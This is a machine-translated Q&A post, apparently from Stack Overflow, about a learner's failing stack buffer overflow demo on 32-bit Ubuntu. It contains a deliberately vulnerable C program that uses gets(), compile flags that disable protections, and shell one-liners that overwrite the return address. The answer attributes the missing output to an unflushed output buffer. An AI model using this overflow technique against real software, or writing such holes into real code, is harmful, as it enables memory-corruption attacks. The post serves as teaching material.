我正在尝试了解缓冲区溢出攻击,并希望看到相同的工作演示。我一直在关注许多在线资源以了解相同的情况。例如,this到目前为止已证明非常有用。
我清楚地理解缓冲区溢出的概念,但是,我无法让演示工作。 我在64位Mac上,在VirtualBox中运行32位Ubuntu(我正在尝试缓冲区溢出的机器)。为了解决缓冲区溢出问题,我在Ubuntu上禁用了ASLR。
我有一个简单的C程序demo.c,取自上面提到的视频链接:
# include<stdio.h>
CanNeverExecute()
{
printf("I can never execute");
}
GetInput()
{
char buffer[8];
gets(buffer) ; // the vulnerable function
puts(buffer);
}
main()
{
getInput();
return 0;
}
我已经尝试了以下所有变体来编译程序:
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary = 2 -z execstack -o demo demo.c
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary = 2 -o demo demo.c
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary = 2 -z execstack -m32 -o demo demo.c
这个想法是通过利用gets()用CanNeverExecute()的地址覆盖堆栈上的返回地址。 CanNeverExecute的地址结果为0x0804847b
为此,我尝试了以下方法:
printf&#34; 123456789abc \ x7b \ x84 \ x04 \ x08&#34; | ./demo
echo -e&#34; 123456789abc \ x7b \ x84 \ x04 \ x08&#34; | ./demo
python -c&#39; print&#34; a&#34; * 12 +&#34; \ x7b \ x84 \ x04 \ x08&#34;&#39; | ./demo
其中12345678是填充缓冲区空间,9abc是覆盖存储在堆栈中的ebp的值,最后存储在堆栈上的返回地址被CanNeverExecute()
的地址覆盖理想情况下,我所期望的(也在上面的演示链接中显示)是CanNeverBeExecuted()被执行并且其中的消息被打印。
但与预期相反,在所有上述情况中,我得到了一个&#34;分段错误(核心转储)&#34;在终端上印有以下内容:
123456789abc {,, [some_unprintable_character]
CanNeverBeExecuted()不会被执行。
我错过了什么?需要改变什么?请帮忙。
答案 0 :(得分:4)
您的“CanNeverExecute”功能正在执行,但您没有看到它的输出。将其更改为:
CanNeverExecute()
{
printf("I can never execute\n");
fflush(stdout);
}
问题是程序在刷新输出缓冲区之前崩溃。